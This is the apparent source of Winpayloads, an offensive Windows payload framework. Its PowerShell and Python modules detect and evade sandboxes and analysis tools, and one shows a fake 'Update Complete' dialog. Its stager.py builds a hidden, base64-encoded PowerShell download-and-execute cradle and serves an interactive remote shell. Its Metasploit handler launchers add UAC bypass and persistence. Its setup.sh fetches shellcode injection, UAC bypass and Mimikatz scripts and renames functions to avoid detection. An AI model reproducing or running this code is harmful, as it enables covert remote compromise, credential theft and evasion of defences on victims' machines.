-------------------------------------------------------------------------------- 1 | # 2 | # Checks all DLL names loaded by each process, PowerShell 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | $EvidenceOfSandbox = New-Object System.Collections.ArrayList 9 | $sandboxDLLs = "sbiedll.dll","dbghelp.dll","api_log.dll","dir_watch.dll","pstorec.dll","vmcheck.dll","wpespy.dll" 10 | 11 | $LoadedDLLs = Get-Process | Select -Expand Modules -ErrorAction SilentlyContinue 12 | 13 | ForEach ($LoadedDLL in $LoadedDLLs) { 14 | ForEach ($sandboxDLL in $sandboxDLLs) { 15 | if ($LoadedDLL.ModuleName | Select-String $sandboxDLL) { 16 | if ($EvidenceOfSandbox -NotContains $LoadedDLL.ModuleName) { 17 | [void]$EvidenceOfSandbox.Add($LoadedDLL.ModuleName) 18 | } 19 | } 20 | } 21 | } 22 | 23 | if ($EvidenceOfSandbox) { 24 | exit 25 | } else { 26 | continue 27 | } 28 | -------------------------------------------------------------------------------- /lib/sandbox/powershell/check_all_process_names.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # Checks all loaded process names, PowerShell 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | $EvidenceOfSandbox = New-Object System.Collections.ArrayList 9 | 10 | $sandboxProcesses = "vmsrvc", "tcpview", "wireshark","visual basic", "fiddler", "vmware", "vbox", "process explorer", "autoit", "vboxtray", "vmtools", "vmrawdsk", "vmusbmouse", "vmvss", "vmscsi", "vmxnet", "vmx_svga", "vmmemctl", "df5serv", "vboxservice", "vmhgfs" 11 | 12 | $RunningProcesses = Get-Process 13 | 14 | ForEach ($RunningProcess in $RunningProcesses) { 15 | ForEach ($sandboxProcess in $sandboxProcesses) { 16 | if ($RunningProcess.ProcessName | Select-String $sandboxProcess) { 17 | if ($EvidenceOfSandbox -NotContains $RunningProcess.ProcessName) { 18 | [void]$EvidenceOfSandbox.Add($RunningProcess.ProcessName) 19 | } 20 | } 21 | } 22 | } 23 | 24 | if ($EvidenceOfSandbox.count -eq 0) { 25 | continue 26 | } else { 27 | exit 28 | } 29 | -------------------------------------------------------------------------------- /lib/sandbox/powershell/click_tracker.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # Waits until N mouse clicks occur before executing (default: 10), PowerShell 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | *$minClicks* = $10$ 9 | $count = 0 10 | 11 | $getAsyncKeyProto = @' 12 | [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 13 | public static extern short GetAsyncKeyState(int virtualKeyCode); 14 | '@ 15 | 16 | $getAsyncKeyState = Add-Type -MemberDefinition $getAsyncKeyProto -Name "Win32GetState" -Namespace Win32Functions -PassThru 17 | 18 | while ($count -lt $minClicks) { 19 | Start-Sleep 1 20 | $leftClick = $getAsyncKeyState::GetAsyncKeyState(1) 21 | $rightClick = $getAsyncKeyState::GetAsyncKeyState(2) 22 | 23 | if ($leftClick) { 24 | $count += 1 25 | } 26 | 27 | if ($rightClick) { 28 | $count += 1 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /lib/sandbox/powershell/disk_size.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # Minimum disk size checker (default: 50 GB), PowerShell 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | *$minDiskSizeGB* = $50$ 9 | 10 | $diskSizeGB = (GWMI -Class Win32_LogicalDisk | Measure-Object -Sum Size | Select-Object -Expand Sum) / 1073741824 11 | 12 | if ($diskSizeGB -gt $minDiskSizeGB) { 13 | $a = 1 14 | } else { 15 | exit 16 | } 17 | -------------------------------------------------------------------------------- /lib/sandbox/powershell/registry_size.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # Minimum Registry size checker (default: 55 MB), PowerShell 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | *$minRegSizeMB* = $55$ 9 | 10 | $regSize = GWMI -Class Win32_Registry | Select-Object -Expand CurrentSize 11 | 12 | if ($regSize -gt $minRegSizeMB) { 13 | $a = 1 14 | } else { 15 | exit 16 | } 17 | -------------------------------------------------------------------------------- /lib/sandbox/powershell/user_prompt.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # Prompts user with dialog box and waits for response before executing, PowerShell 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | $dialogBoxTitle = "Update Complete" 9 | $dialogBoxMessage = "Press OK to Continue" 10 | 11 | if ($Args.count -eq 2) { 12 | $dialogBoxTitle = $($args[0]) 13 | $dialogBoxMessage = $($args[1]) 14 | } 15 | 16 | $messageBox = New-Object -COMObject WScript.Shell 17 | [void]$messageBox.Popup($dialogBoxMessage,0,$dialogBoxTitle,0) 18 | -------------------------------------------------------------------------------- /lib/sandbox/powershell/username.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | *$username* = $'administrator'$ 9 | 10 | if ($env:username.ToLower() -eq $username) { 11 | $a = 1 12 | } else { 13 | exit 14 | } 15 | -------------------------------------------------------------------------------- /lib/sandbox/python/check_all_DLL_names.py: -------------------------------------------------------------------------------- 1 | # 2 | # Checks all DLL names loaded by each process, Python 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | import win32api 9 | import win32process 10 | import sys 11 | 12 | EvidenceOfSandbox = [] 13 | sandboxDLLs = ["sbiedll.dll","dbghelp.dll","api_log.dll","dir_watch.dll","pstorec.dll","vmcheck.dll","wpespy.dll"] 14 | 15 | allPids = win32process.EnumProcesses() 16 | for pid in allPids: 17 | try: 18 | hProcess = win32api.OpenProcess(0x0410, 0, pid) 19 | try: 20 | curProcessDLLs = win32process.EnumProcessModules(hProcess) 21 | for dll in curProcessDLLs: 22 | dllName = str(win32process.GetModuleFileNameEx(hProcess, dll)).lower() 23 | for sandboxDLL in sandboxDLLs: 24 | if sandboxDLL in dllName: 25 | if dllName not in EvidenceOfSandbox: 26 | EvidenceOfSandbox.append(dllName) 27 | finally: 28 | win32api.CloseHandle(hProcess) 29 | except: 30 | pass 31 | 32 | if EvidenceOfSandbox: 33 | sys.exit() 34 | else: 35 | pass 36 | -------------------------------------------------------------------------------- /lib/sandbox/python/check_all_process_names.py: -------------------------------------------------------------------------------- 1 | # 2 | # Checks all loaded process names, Python 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | import win32pdh 9 | import sys 10 | 11 | EvidenceOfSandbox = [] 12 | sandboxProcesses = "vmsrvc", "tcpview", "wireshark", "visual basic", "fiddler", "vmware", "vbox", "process explorer", "autoit", "vboxtray", "vmtools", "vmrawdsk", "vmusbmouse", "vmvss", "vmscsi", "vmxnet", "vmx_svga", "vmmemctl", "df5serv", "vboxservice", "vmhgfs" 13 | 14 | _, runningProcesses = win32pdh.EnumObjectItems(None,None,'process', win32pdh.PERF_DETAIL_WIZARD) 15 | 16 | for process in runningProcesses: 17 | for sandboxProcess in sandboxProcesses: 18 | if sandboxProcess in str(process): 19 | if process not in EvidenceOfSandbox: 20 | EvidenceOfSandbox.append(process) 21 | break 22 | 23 | if not EvidenceOfSandbox: 24 | pass 25 | else: 26 | sys.exit() 27 | -------------------------------------------------------------------------------- /lib/sandbox/python/click_tracker.py: -------------------------------------------------------------------------------- 1 | # 2 | # Waits until N mouse clicks occur before executing (default: 10), Python 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | import win32api 9 | import sys 10 | 11 | count = 0 12 | *minClicks* = $10$ 13 | 14 | while count < minClicks: 15 | new_state_left_click = win32api.GetAsyncKeyState(1) 16 | new_state_right_click = win32api.GetAsyncKeyState(2) 17 | 18 | if new_state_left_click % 2 == 1: 19 | count += 1 20 | if new_state_right_click % 2 == 1: 21 | count += 1 22 | -------------------------------------------------------------------------------- /lib/sandbox/python/disk_size.py: -------------------------------------------------------------------------------- 1 | # 2 | # Minimum disk size checker (default: 50 GB), Python 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | import win32api 9 | import sys 10 | 11 | *minDiskSizeGB* = $50$ 12 | 13 | 14 | _, diskSizeBytes, _ = win32api.GetDiskFreeSpaceEx() 15 | 16 | diskSizeGB = diskSizeBytes/1073741824 17 | 18 | if diskSizeGB > minDiskSizeGB: 19 | pass 20 | else: 21 | sys.exit() 22 | -------------------------------------------------------------------------------- /lib/sandbox/python/registry_size.py: -------------------------------------------------------------------------------- 1 | # 2 | # Minimum Registry size checker (default: 55 MB), Python 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | import sys 9 | import win32com 10 | from win32com.client import GetObject 11 | 12 | *minRegistrySizeMB* = $55$ 13 | 14 | regObjects = GetObject("winmgmts:").ExecQuery("SELECT CurrentSize FROM Win32_Registry") 15 | 16 | for regObject in regObjects: 17 | if int(regObject.Properties_('CurrentSize')) > minRegistrySizeMB: 18 | pass 19 | else: 20 | sys.exit() 21 | -------------------------------------------------------------------------------- /lib/sandbox/python/user_prompt.py: -------------------------------------------------------------------------------- 1 | # 2 | # Prompts user with dialog box and waits for response before executing, Python 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | import ctypes 9 | import sys 10 | 11 | dialogBoxTitle = "Update Complete"; 12 | dialogBoxMessage = "Press OK to Continue" 13 | 14 | MessageBox = ctypes.windll.user32.MessageBoxW 15 | MessageBox(None, dialogBoxMessage, dialogBoxTitle, 0) 16 | -------------------------------------------------------------------------------- /lib/sandbox/python/username.py: -------------------------------------------------------------------------------- 1 | # 2 | # 3 | # Module written by Brandon Arvanaghi 4 | # Website: arvanaghi.com 5 | # Twitter: @arvanaghi 6 | # Edited for use in winpayloads 7 | 8 | import sys 9 | import getpass 10 | 11 | *username* = $'administrator'$ 12 | 13 | if getpass.getuser().lower() == username.lower(): 14 | pass 15 | else: 16 | sys.exit() 17 | -------------------------------------------------------------------------------- /lib/stager.py: -------------------------------------------------------------------------------- 1 | from __future__ import unicode_literals 2 | from main import * 3 | from menu import * 4 | from prompt_toolkit.contrib.completers import WordCompleter 5 | 6 | history = prompt_toolkit.history.InMemoryHistory() 7 | 8 | serverlist = [] 9 | 10 | def killAllClients(): 11 | numberofclientskilled = 0 12 | from menu import clientMenuOptions 13 | if len(clientMenuOptions) > 2: 14 | suretoquit = raw_input('You have clients connected. Are you sure you want to exit? [y]/n: ') 15 | if suretoquit.lower() == 'y' or suretoquit.lower() == '': 16 | for server in serverlist: 17 | for clientnumber in server.handlers.keys(): 18 | numberofclientskilled += 1 19 | server.handlers[clientnumber].handle_close() 20 | return True 21 | else: 22 | return False 23 | else: 24 | return True 25 | 26 | def printListener(printit=True, returnit=False): 27 | from listener import Server 28 | from menu import returnIP 29 | powershellFileName = 'p.ps1' 30 | 31 | while True: 32 | bindOrReverse = prompt_toolkit.prompt('[?] (b)ind/(r)everse: ', patch_stdout=True, completer=WordCompleter(['b', 'r'])).lower() 33 | if bindOrReverse == 'b' or bindOrReverse == 'r': 34 | break 35 | if bindOrReverse == 'r': 36 | powershellContent = open('lib/powershell/stager.ps1', 'r').read() 37 | windows_powershell_stager = powershellContent % ('False', returnIP(), '5555') 38 | if bindOrReverse == 'b': 39 | powershellContent = open('lib/powershell/stager.ps1', 'r').read() 40 | windows_powershell_stager = powershellContent % ('True', '', '5556') 41 | 42 | with open((payloaddir()+ '/' + powershellFileName), 'w') as powershellStagerFile: 43 | powershellStagerFile.write(windows_powershell_stager) 44 | powershellStagerFile.close() 45 | 46 | randoStagerDLPort = FUNCTIONS().randomUnusedPort() 47 | 48 | FUNCTIONS().DoServe(returnIP(), powershellFileName, payloaddir(), port=randoStagerDLPort, printIt = False) 49 | stagerexec = 'powershell -w hidden -noni -enc ' + ("IEX (New-Object Net.Webclient).DownloadString('http://" + returnIP() + ":" + str(randoStagerDLPort) + "/" + powershellFileName + "')").encode('utf_16_le').encode('base64').replace('\n','') 50 | 51 | if printit: 52 | print t.bold_green + '[!] Run this on target machine...' + t.normal + '\n\n' + stagerexec + '\n' 53 | 54 | if bindOrReverse == 'b': 55 | if not '5556' in str(serverlist): 56 | ipADDR = raw_input('[?] IP Address of target (after executing stager): ') 57 | connectserver = Server(ipADDR, 5556, bindsocket=False) 58 | serverlist.append(connectserver) 59 | 60 | if bindOrReverse == 'r': 61 | if not '5555' in str(serverlist): 62 | listenerserver = Server('0.0.0.0', 5555, bindsocket=True) 63 | serverlist.append(listenerserver) 64 | if returnit: 65 | return stagerexec 66 | else: 67 | return "pass" 68 | 69 | 70 | def interactShell(clientnumber): 71 | clientnumber = int(clientnumber) 72 | from menu import clientMenuOptions 73 | for server in serverlist: 74 | if clientnumber in server.handlers.keys(): 75 | print "Commands\n" + "-"*50 + "\nback - Background Shell\nexit - Close Connection\n" + "-"*50 76 | while True: 77 | try: 78 | if server.handlers[clientnumber].in_buffer: 79 | print server.handlers[clientnumber].in_buffer.pop() 80 | command = prompt_toolkit.prompt("PS >", completer=WordCompleter(['back', 'exit']), style=prompt_toolkit.styles.style_from_dict({prompt_toolkit.token.Token: '#FFCC66'}), history=history) 81 | if command.lower() == "back": 82 | break 83 | if command.lower() == "exit": 84 | server.handlers[clientnumber].handle_close() 85 | del clientMenuOptions[str(clientnumber)] 86 | time.sleep(2) 87 | break 88 | if command == "": 89 | server.handlers[clientnumber].out_buffer.append('{"type":"", "data":"", "sendoutput":""}') 90 | else: 91 | json = '{"type":"exec", "data":"%s", "sendoutput":"true"}'% ((base64.b64encode(command.encode('utf_16_le')))) 92 | server.handlers[clientnumber].out_buffer.append(json) 93 | while not server.handlers[clientnumber].in_buffer: 94 | time.sleep(0.01) 95 | print server.handlers[clientnumber].in_buffer.pop() 96 | except KeyboardInterrupt: 97 | break 98 | 99 | return "clear" 100 | 101 | def returnServerList(): 102 | return serverlist 103 | 104 | def checkPayloadLength(payload): 105 | maxlen = 10000 106 | splitPayload = [] 107 | payloadLen = len(payload) 108 | 109 | if payloadLen > maxlen: 110 | current_length = 0 111 | numberOfPackets = int(payloadLen / maxlen) 112 | if payloadLen % maxlen != 0: 113 | numberOfPackets += 1 114 | 115 | while current_length < payloadLen: 116 | cutlength = maxlen 117 | if payloadLen < current_length + maxlen: 118 | cutlength = payloadLen - current_length 119 | 120 | tmp_str = payload[current_length:current_length + cutlength] 121 | current_length += maxlen 122 | splitPayload.append(tmp_str) 123 | else: 124 | splitPayload = None 125 | 126 | return splitPayload 127 | 128 | 129 | def checkUpload(): 130 | from menu import clientMenuOptions 131 | use_client_upload = prompt_toolkit.prompt('\n[?] Upload Using Client Connection? [y]/n: ', patch_stdout=True, completer=WordCompleter(['y', 'n'])) 132 | print 133 | if use_client_upload.lower() == 'y' or use_client_upload == '': 134 | clientList = [] 135 | for i in clientMenuOptions.keys(): 136 | if i == 'back' or i == 'r': 137 | pass 138 | else: 139 | clientList.append(i) 140 | print t.bold_yellow + i + t.normal + ': ' + t.bold_green + clientMenuOptions[i]['payload'] + t.bold_yellow + ' | ' + t.bold_green + clientMenuOptions[i]['availablemodules'].keys()[0] + t.bold_yellow + ' | ' + t.bold_green + clientMenuOptions[i]['availablemodules'].keys()[1] + t.normal 141 | print 142 | while True: 143 | clientchoice = prompt_toolkit.prompt('Client > ', patch_stdout=True, style=prompt_toolkit.styles.style_from_dict({prompt_toolkit.token.Token: '#FFCC66'}), completer=WordCompleter(clientList)) 144 | try: 145 | return int(clientMenuOptions[clientchoice]['params']) 146 | except: 147 | continue 148 | return False 149 | 150 | def clientUpload(powershellExec, isExe, json): 151 | from menu import returnIP 152 | from encrypt import getSandboxScripts 153 | clientnumber = checkUpload() 154 | if clientnumber: 155 | if isExe: 156 | newpayloadlayout = FUNCTIONS().powershellShellcodeLayout(powershellExec) 157 | moduleport = FUNCTIONS().randomUnusedPort() 158 | FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) 159 | encPowershell = getSandboxScripts('powershell') 160 | encPowershell += "IEX(New-Object Net.WebClient).DownloadString('http://%s:%s/Invoke-Shellcode.ps1');Start-Sleep 30;Invoke-Code -Force -Shellcode @(%s)"%(returnIP(), moduleport, newpayloadlayout.rstrip(',')) 161 | encPowershell = base64.b64encode(encPowershell.encode('UTF-16LE')) 162 | fullExec = "$Arch = (Get-Process -Id $PID).StartInfo.EnvironmentVariables['PROCESSOR_ARCHITECTURE'];if($Arch -eq 'x86'){powershell -exec bypass -enc \"%s\"}elseif($Arch -eq 'amd64'){$powershell86 = $env:windir + '\SysWOW64\WindowsPowerShell\\v1.0\powershell.exe';& $powershell86 -exec bypass -enc \"%s\"}"%(encPowershell,encPowershell) 163 | b64Exec = base64.b64encode(fullExec.encode('UTF-16LE')) 164 | lenb64 = len(b64Exec) 165 | else: 166 | b64Exec = base64.b64encode(powershellExec.encode('UTF-16LE')) 167 | lenb64 = len(b64Exec) 168 | 169 | 170 | splitPayoad = checkPayloadLength(b64Exec) 171 | 172 | if splitPayoad: 173 | for p in splitPayoad: 174 | for server in serverlist: 175 | if clientnumber in server.handlers.keys(): 176 | server.handlers[clientnumber].out_buffer.append(json % (p)) 177 | time.sleep(0.5) 178 | time.sleep(0.5) 179 | for server in serverlist: 180 | if clientnumber in server.handlers.keys(): 181 | server.handlers[clientnumber].out_buffer.append('{"type":"", "data":"", "sendoutput":"false", "multiple":"exec"}') 182 | else: 183 | for server in serverlist: 184 | if clientnumber in server.handlers.keys(): 185 | server.handlers[clientnumber].out_buffer.append(json % (b64Exec)) 186 | 187 | return clientnumber 188 | 189 | else: 190 | return False 191 | -------------------------------------------------------------------------------- /lib/startmetasploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | class METASPLOIT(object): 4 | def __init__(self): 5 | if os.geteuid() == 0: 6 | self.placeholder = '' 7 | else: 8 | self.placeholder = 'sudo ' 9 | 10 | ########Reverse######## 11 | def metrev_uac(self,portnum): 12 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LPORT %s;set LHOST 0.0.0.0;set autorunscript multi_console_command -rc uacbypass.rc;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum)) 13 | def metrev_allchecks(self,portnum): 14 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LPORT %s;set LHOST 0.0.0.0;set autorunscript post/windows/manage/exec_powershell SCRIPT=allchecks.ps1;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum)) 15 | def metrev_persistence(self,portnum): 16 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LPORT %s;set LHOST 0.0.0.0;set autorunscript multi_console_command -rc persist.rc;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum)) 17 | def metrev_normal(self,portnum): 18 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LPORT %s;set LHOST 0.0.0.0;set ExitOnSession false; exploit -j\'' %(self.placeholder, portnum)) 19 | ########Bind######## 20 | def metbind_uac(self,bindport,bindip): 21 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set LPORT %s;set RHOST %s;set autorunscript multi_console_command -rc uacbypass.rc;set ExitOnSession false;exploit -j\'' % (self.placeholder, bindport, bindip)) 22 | def metbind_allchecks(self,bindport,bindip): 23 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set LPORT %s;set RHOST %s;set autorunscript post/windows/manage/exec_powershell SCRIPT=allchecks.ps1;set ExitOnSession false;exploit -j\'' % (self.placeholder, bindport, bindip)) 24 | def metbind_persistence(self,bindport,bindip): 25 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set LPORT %s;set RHOST %s;set autorunscript multi_console_command -rc persist.rc;set ExitOnSession false;exploit -j\'' % (self.placeholder, bindport, bindip)) 26 | def metbind_normal(self,bindport,bindip): 27 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set LPORT %s;set RHOST %s;set ExitOnSession false; exploit -j \'' % (self.placeholder, bindport, bindip)) 28 | ########Http######## 29 | def methttps_uac(self,portnum): 30 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LPORT %s;set LHOST 0.0.0.0;set autorunscript multi_console_command -rc uacbypass.rc;set ExitOnSession false;exploit -j\'' % (self.placeholder, portnum)) 31 | def methttps_allchecks(self,portnum): 32 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LPORT %s;set LHOST 0.0.0.0;set autorunscript post/windows/manage/exec_powershell SCRIPT=allchecks.ps1;set ExitOnSession false;exploit -j\'' % (self.placeholder, portnum)) 33 | def methttps_persistence(self,portnum): 34 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LPORT %s;set LHOST 0.0.0.0;set autorunscript multi_console_command -rc persist.rc;set ExitOnSession false;exploit -j\'' % (self.placeholder, portnum)) 35 | def methttps_normal(self,portnum): 36 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LPORT %s;set LHOST 0.0.0.0;set ExitOnSession false; exploit -j\'' % (self.placeholder, portnum)) 37 | ########DNS######## 38 | def metdns_uac(self,portnum,DNSaddr): 39 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp_dns;set LPORT %s;set LHOST %s;set autorunscript multi_console_command -rc uacbypass.rc;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum,DNSaddr)) 40 | def metdns_allchecks(self,portnum,DNSaddr): 41 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp_dns;set LPORT %s;set LHOST %s;set autorunscript post/windows/manage/exec_powershell SCRIPT=allchecks.ps1;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum,DNSaddr)) 42 | def metdns_persistence(self,portnum,DNSaddr): 43 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp_dns;set LPORT %s;set LHOST %s;set autorunscript multi_console_command -rc persist.rc;set ExitOnSession false; exploit -j\'' %(self.placeholder, portnum,DNSaddr)) 44 | def metdns_normal(self,portnum,DNSaddr): 45 | os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp_dns;set LPORT %s;set LHOST %s;set ExitOnSession false; exploit -j\'' %(self.placeholder, portnum,DNSaddr)) 46 | ########NC####### 47 | def nclisterner(self,portnum): 48 | os.system('%snc -lvp %s'%(self.placeholder, portnum)) 49 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ######## 3 | winpayloadsdir=$(pwd) 4 | 5 | export DEBIAN_FRONTEND=noninteractive 6 | 7 | reinstall=0 8 | for i in "$@" 9 | do 10 | case $i in 11 | -r) 12 | reinstall=1 13 | shift 14 | ;; 15 | esac 16 | done 17 | ######## 18 | 19 | 20 | echo -e '\033[1;32m[*] Installing Dependencies \033[0m' 21 | sudo dpkg --add-architecture i386 22 | sudo apt-get update 23 | sudo apt-get -y install unzip wget python2.7 python-crypto python-pip curl winbind 24 | 25 | echo -e '\033[1;32m[*] Installing Wine \033[0m' 26 | sudo apt-get -y install wine32 27 | sudo apt-get -y install wine 28 | export WINEARCH=win32 29 | export WINEPREFIX=~/.win32 30 | echo -e '\033[1;32m' 31 | wine cmd.exe /c 'wmic os get osarchitecture' 32 | echo -e '\033[0m' 33 | 34 | echo -e '\033[1;32m[*] Installing Python Requirements \033[0m' 35 | sudo pip2 install blessed 36 | sudo pip2 install pyasn1 37 | sudo pip2 install --force-reinstall prompt-toolkit==1.0.15 38 | sudo pip2 install netifaces 39 | sudo pip2 install requests 40 | 41 | echo -e '\033[1;32m[*] Downloading Python27, Pywin32 and Pycrypto For Wine \033[0m' 42 | if [[ ! -d "~/.win32/drive_c/Python27/" || $reinstall -eq 1 ]]; then 43 | wget https://www.python.org/ftp/python/2.7.10/python-2.7.10.msi 44 | wine msiexec /i python-2.7.10.msi TARGETDIR=C:\Python27 ALLUSERS=1 /q 45 | wget http://www.voidspace.org.uk/downloads/pycrypto26/pycrypto-2.6.win32-py2.7.exe 46 | unzip pycrypto-2.6.win32-py2.7.exe 47 | wget https://download.microsoft.com/download/1/1/1/1116b75a-9ec3-481a-a3c8-1777b5381140/vcredist_x86.exe 48 | wine vcredist_x86.exe /qb! 49 | wget https://sourceforge.net/projects/pywin32/files/pywin32/Build%20220/pywin32-220.win32-py2.7.exe/download 50 | mv download pywin32.exe 51 | unzip pywin32.exe 52 | cp -rf PLATLIB/* ~/.win32/drive_c/Python27/Lib/site-packages/ 53 | cp -rf SCRIPTS/* ~/.win32/drive_c/Python27/Lib/site-packages/ 54 | cp -rf SCRIPTS/* ~/.win32/drive_c/Python27/Scripts/ 55 | wine ~/.win32/drive_c/Python27/python.exe ~/.win32/drive_c/Python27/Scripts/pywin32_postinstall.py -install -silent 56 | else 57 | echo -e '\033[1;32m[*] Installed Already, Skipping! \033[0m' 58 | fi 59 | 60 | echo -e '\033[1;32m[*] Installing Pyinstaller \033[0m' 61 | if [[ ! -d "/opt/pyinstaller" || $reinstall -eq 1 ]]; then 62 | if [ -d "/opt/pyinstaller/.git" ]; then 63 | rm /opt/pyinstaller -rf 64 | fi 65 | curl -O -L https://github.com/pyinstaller/pyinstaller/releases/download/v3.2.1/PyInstaller-3.2.1.zip 66 | sudo unzip PyInstaller-3.2.1.zip -d /opt 67 | sudo mv /opt/PyInstaller-3.2.1 /opt/pyinstaller 68 | cd /opt/pyinstaller 69 | wine ~/.win32/drive_c/Python27/python.exe setup.py install 70 | cd $winpayloadsdir 71 | 72 | else 73 | echo -e '\033[1;32m[*] Installed Already, Skipping! \033[0m' 74 | fi 75 | 76 | 77 | echo -e '\033[1;32m[*] Installing impacket from Git \033[0m' 78 | if [[ ! -d "/usr/local/lib/python2.7/dist-packages/impacket" || $reinstall -eq 1 ]]; then 79 | git clone https://github.com/CoreSecurity/impacket.git 80 | cd impacket 81 | sudo python2.7 setup.py install 82 | cd .. 83 | else 84 | echo -e '\033[1;32m[*] Installed Already, Skipping! \033[0m' 85 | fi 86 | 87 | echo -e '\033[1;32m[*] Grabbing Wine Modules \033[0m' 88 | wine ~/.win32/drive_c/Python27/Scripts/pip.exe install pefile 89 | wine ~/.win32/drive_c/Python27/Scripts/pip.exe install dis3 90 | echo -e '\033[1;32m[*] Done \033[0m' 91 | 92 | 93 | echo -e '\033[1;32m[*] Grabbing Modules \033[0m' 94 | cd lib 95 | rm psexecspray.py 96 | curl -O https://raw.githubusercontent.com/Charliedean/PsexecSpray/master/psexecspray.py 97 | cd .. 98 | echo -e '\033[1;32m[*] Done \033[0m' 99 | 100 | echo -e '\033[1;32m[*] Grabbing External Modules \033[0m' 101 | mkdir externalmodules 102 | cd externalmodules 103 | curl -O https://raw.githubusercontent.com/Charliedean/InvokeShellcode1803/master/Invoke-Shellcode.ps1 104 | sed -i -e 's/Invoke-Shellcode/Invoke-Code/g' Invoke-Shellcode.ps1 105 | sed -i -e '/<#/,/#>/c\\' Invoke-Shellcode.ps1 106 | sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Shellcode.ps1 107 | curl -O https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1 108 | curl -O https://raw.githubusercontent.com/Charliedean/Invoke-SilentCleanUpBypass/master/Invoke-SilentCleanUpBypass.ps1 109 | curl -O https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 110 | curl -O https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 111 | cd .. 112 | echo -e '\033[1;32m[*] Done \033[0m' 113 | 114 | 115 | echo -e '\033[1;32m[*] Grabbing Certs \033[0m' 116 | openssl genrsa -out server.pass.key 2048 117 | openssl rsa -in server.pass.key -out server.key 118 | openssl req -new -key server.key -out server.csr -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" 119 | openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt 120 | rm server.csr server.pass.key 121 | echo -e '\033[1;32m[*] Done \033[0m' 122 | 123 | 124 | echo -e '\033[1;32m[*] Cleaning Up \033[0m' 125 | sudo rm python-2.7.10.msi PyInstaller-3.2.1.zip pycrypto-2.6.win32-py2.7.exe vcredist_x86.exe pywin32.exe PLATLIB SCRIPTS impacket -rf 126 | echo -e '\033[1;32m[*] Done \033[0m' 127 | --------------------------------------------------------------------------------